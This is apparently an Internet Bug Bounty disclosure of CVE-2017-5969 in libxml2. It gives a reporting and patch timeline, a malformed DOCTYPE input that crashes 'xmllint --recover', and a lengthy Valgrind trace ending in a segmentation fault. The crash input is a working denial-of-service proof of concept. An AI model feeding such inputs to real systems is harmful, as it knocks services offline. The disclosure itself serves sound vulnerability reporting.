Internet Bug Bounty: CVE-2017-5969: libxml2 when used in recover mode, allows remote attackers to cause a denial of service (NULL pointer dereference)

I first reported this bug to the developers on 20 November 2015. A patch was finally committed on 7 June 2017 here. The caveat here is that this only happens in recover mode which the developers say no sane person should ever use in production and/or against untrusted inputs. A CVE was assigned in April 2017.

The original crash involved some memory corruption which lead to a null pointer dereference and subsequent segfault after running ./xmllint --recover against XML similar to <!DOCTYPE[<!ELEMENT l((|s)>.

test00.xml:1: parser error : xmlParseDocTypeDecl : no DOCTYPE name !
<!DOCTYPE[<?l?><!ELEMENT�(�,()>
         ^
test00.xml:1: parser error : Space required after 'ELEMENT'
<!DOCTYPE[<?l?><!ELEMENT�(�,()>
                        ^
test00.xml:1: parser error : Input is not proper UTF-8, indicate encoding !
Bytes: 0xDF 0x28 0xE2 0x2C
<!DOCTYPE[<?l?><!ELEMENT�(�,()>
                        ^
test00.xml:1: parser error : Space required after the element name
<!DOCTYPE[<?l?><!ELEMENT�(�,()>
                         ^
test00.xml:1: parser error : ContentDecl : Name or '(' expected
<!DOCTYPE[<?l?><!ELEMENT�(�,()>
                             ^
test00.xml:1: parser error : internal error: xmlParseInternalSubset: error detected in Markup declaration

<!DOCTYPE[<?l?><!ELEMENT�(�,()>
                               ^
test00.xml:1: parser error : DOCTYPE improperly terminated
<!DOCTYPE[<?l?><!ELEMENT�(�,()>
                               ^
==100630== Conditional jump or move depends on uninitialised value(s)
==100630==    at 0x452A72: xmlNextChar (parserInternals.c:535)
==100630==    by 0x4CF45F: xmlParseInternalSubset (parser.c:8460)
==100630==    by 0x4E655D: xmlParseDocument (parser.c:10852)
==100630==    by 0x50657F: xmlDoRead (parser.c:15340)
==100630==    by 0x50657F: xmlReadFile (parser.c:15402)
==100630==    by 0x41CD6F: parseAndPrintFile (xmllint.c:2401)
==100630==    by 0x410409: main (xmllint.c:3759)
==100630== 
==100630== Conditional jump or move depends on uninitialised value(s)
==100630==    at 0x452E0C: xmlNextChar (parserInternals.c:538)
==100630==    by 0x4CF45F: xmlParseInternalSubset (parser.c:8460)
==100630==    by 0x4E655D: xmlParseDocument (parser.c:10852)
==100630==    by 0x50657F: xmlDoRead (parser.c:15340)
==100630==    by 0x50657F: xmlReadFile (parser.c:15402)
==100630==    by 0x41CD6F: parseAndPrintFile (xmllint.c:2401)
==100630==    by 0x410409: main (xmllint.c:3759)
==100630== 
==100630== Conditional jump or move depends on uninitialised value(s)
==100630==    at 0x452EE3: xmlNextChar (parserInternals.c:540)
==100630==    by 0x4CF45F: xmlParseInternalSubset (parser.c:8460)
==100630==    by 0x4E655D: xmlParseDocument (parser.c:10852)
==100630==    by 0x50657F: xmlDoRead (parser.c:15340)
==100630==    by 0x50657F: xmlReadFile (parser.c:15402)
==100630==    by 0x41CD6F: parseAndPrintFile (xmllint.c:2401)
==100630==    by 0x410409: main (xmllint.c:3759)
==100630== 
==100630== Conditional jump or move depends on uninitialised value(s)
==100630==    at 0x4D39A7: xmlParseMisc (parser.c:10723)
==100630==    by 0x4E6197: xmlParseDocument (parser.c:10872)
==100630==    by 0x50657F: xmlDoRead (parser.c:15340)
==100630==    by 0x50657F: xmlReadFile (parser.c:15402)
==100630==    by 0x41CD6F: parseAndPrintFile (xmllint.c:2401)
==100630==    by 0x410409: main (xmllint.c:3759)
==100630== 
==100630== Conditional jump or move depends on uninitialised value(s)
==100630==    at 0x4D39FA: xmlParseMisc (parser.c:10726)
==100630==    by 0x4E6197: xmlParseDocument (parser.c:10872)
==100630==    by 0x50657F: xmlDoRead (parser.c:15340)
==100630==    by 0x50657F: xmlReadFile (parser.c:15402)
==100630==    by 0x41CD6F: parseAndPrintFile (xmllint.c:2401)
==100630==    by 0x410409: main (xmllint.c:3759)
==100630== 
==100630== Conditional jump or move depends on uninitialised value(s)
==100630==    at 0x4D3A3F: xmlParseMisc (parser.c:10726)
==100630==    by 0x4E6197: xmlParseDocument (parser.c:10872)
==100630==    by 0x50657F: xmlDoRead (parser.c:15340)
==100630==    by 0x50657F: xmlReadFile (parser.c:15402)
==100630==    by 0x41CD6F: parseAndPrintFile (xmllint.c:2401)
==100630==    by 0x410409: main (xmllint.c:3759)
==100630== 
test00.xml:1: parser error : internal error: Huge input lookup
==100630== Conditional jump or move depends on uninitialised value(s)
==100630==    at 0x445E2C: xmlParserPrintFileContextInternal (error.c:184)
==100630==    by 0x448B99: xmlReportError (error.c:404)
==100630==    by 0x44FB9C: __xmlRaiseError (error.c:631)
==100630==    by 0x474CA5: xmlFatalErr (parser.c:538)
==100630==    by 0x474CA5: xmlGROW (parser.c:2075)
==100630==    by 0x4E5CCF: xmlParseDocument (parser.c:10878)
==100630==    by 0x50657F: xmlDoRead (parser.c:15340)
==100630==    by 0x50657F: xmlReadFile (parser.c:15402)
==100630==    by 0x41CD6F: parseAndPrintFile (xmllint.c:2401)
==100630==    by 0x410409: main (xmllint.c:3759)
==100630== 
==100630== Conditional jump or move depends on uninitialised value(s)
==100630==    at 0x445E6C: xmlParserPrintFileContextInternal (error.c:184)
==100630==    by 0x448B99: xmlReportError (error.c:404)
==100630==    by 0x44FB9C: __xmlRaiseError (error.c:631)
==100630==    by 0x474CA5: xmlFatalErr (parser.c:538)
==100630==    by 0x474CA5: xmlGROW (parser.c:2075)
==100630==    by 0x4E5CCF: xmlParseDocument (parser.c:10878)
==100630==    by 0x50657F: xmlDoRead (parser.c:15340)
==100630==    by 0x50657F: xmlReadFile (parser.c:15402)
==100630==    by 0x41CD6F: parseAndPrintFile (xmllint.c:2401)
==100630==    by 0x410409: main (xmllint.c:3759)
==100630== 
<!DOCTYPE[<?l?><!ELEMENT�(�,()>
                               ^
==100630== Conditional jump or move depends on uninitialised value(s)
==100630==    at 0x4749A8: xmlGROW (parser.c:2079)
==100630==    by 0x4E5CCF: xmlParseDocument (parser.c:10878)
==100630==    by 0x50657F: xmlDoRead (parser.c:15340)
==100630==    by 0x50657F: xmlReadFile (parser.c:15402)
==100630==    by 0x41CD6F: parseAndPrintFile (xmllint.c:2401)
==100630==    by 0x410409: main (xmllint.c:3759)
==100630== 
==100630== Conditional jump or move depends on uninitialised value(s)
==100630==    at 0x4E55FC: xmlParseDocument (parser.c:10879)
==100630==    by 0x50657F: xmlDoRead (parser.c:15340)
==100630==    by 0x50657F: xmlReadFile (parser.c:15402)
==100630==    by 0x41CD6F: parseAndPrintFile (xmllint.c:2401)
==100630==    by 0x410409: main (xmllint.c:3759)
==100630== 
test00.xml:1: parser error : Start tag expected, '<' not found
==100630== Conditional jump or move depends on uninitialised value(s)
==100630==    at 0x445E2C: xmlParserPrintFileContextInternal (error.c:184)
==100630==    by 0x448B99: xmlReportError (error.c:404)
==100630==    by 0x44FB9C: __xmlRaiseError (error.c:631)
==100630==    by 0x4E5012: xmlFatalErrMsg (parser.c:565)
==100630==    by 0x4E5012: xmlParseDocument (parser.c:10880)
==100630==    by 0x50657F: xmlDoRead (parser.c:15340)
==100630==    by 0x50657F: xmlReadFile (parser.c:15402)
==100630==    by 0x41CD6F: parseAndPrintFile (xmllint.c:2401)
==100630==    by 0x410409: main (xmllint.c:3759)
==100630== 
==100630== Conditional jump or move depends on uninitialised value(s)
==100630==    at 0x445E6C: xmlParserPrintFileContextInternal (error.c:184)
==100630==    by 0x448B99: xmlReportError (error.c:404)
==100630==    by 0x44FB9C: __xmlRaiseError (error.c:631)
==100630==    by 0x4E5012: xmlFatalErrMsg (parser.c:565)
==100630==    by 0x4E5012: xmlParseDocument (parser.c:10880)
==100630==    by 0x50657F: xmlDoRead (parser.c:15340)
==100630==    by 0x50657F: xmlReadFile (parser.c:15402)
==100630==    by 0x41CD6F: parseAndPrintFile (xmllint.c:2401)
==100630==    by 0x410409: main (xmllint.c:3759)
==100630== 
<!DOCTYPE[<?l?><!ELEMENT�(�,()>
                               ^
==100630== Invalid read of size 4
==100630==    at 0x5BD149: xmlDumpElementContent (valid.c:1181)
==100630==    by 0x5CD871: xmlDumpElementDecl (valid.c:1706)
==100630==    by 0xA06A82: xmlBufDumpElementDecl (xmlsave.c:501)
==100630==    by 0xA06A82: xmlNodeDumpOutputInternal (xmlsave.c:939)
==100630==    by 0xA06A82: xmlNodeListDumpOutput (xmlsave.c:825)
==100630==    by 0xA06A82: xmlDtdDumpOutput (xmlsave.c:749)
==100630==    by 0xA032B2: xmlDocContentDumpOutput (xmlsave.c:1234)
==100630==    by 0xA032B2: xmlSaveDoc (xmlsave.c:1936)
==100630==    by 0x416BA6: parseAndPrintFile (xmllint.c:2705)
==100630==    by 0x410409: main (xmllint.c:3759)
==100630==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==100630== 
==100630== 
==100630== Process terminating with default action of signal 11 (SIGSEGV)
==100630==  Access not within mapped region at address 0x0
==100630==    at 0x5BD149: xmlDumpElementContent (valid.c:1181)
==100630==    by 0x5CD871: xmlDumpElementDecl (valid.c:1706)
==100630==    by 0xA06A82: xmlBufDumpElementDecl (xmlsave.c:501)
==100630==    by 0xA06A82: xmlNodeDumpOutputInternal (xmlsave.c:939)
==100630==    by 0xA06A82: xmlNodeListDumpOutput (xmlsave.c:825)
==100630==    by 0xA06A82: xmlDtdDumpOutput (xmlsave.c:749)
==100630==    by 0xA032B2: xmlDocContentDumpOutput (xmlsave.c:1234)
==100630==    by 0xA032B2: xmlSaveDoc (xmlsave.c:1936)
==100630==    by 0x416BA6: parseAndPrintFile (xmllint.c:2705)
==100630==    by 0x410409: main (xmllint.c:3759)
==100630==  If you believe this happened as a result of a stack
==100630==  overflow in your program's main thread (unlikely but
==100630==  possible), you can try to increase the size of the
==100630==  main thread stack using the --main-stacksize= flag.
==100630==  The main thread stack size used in this run was 8388608.
Segmentation fault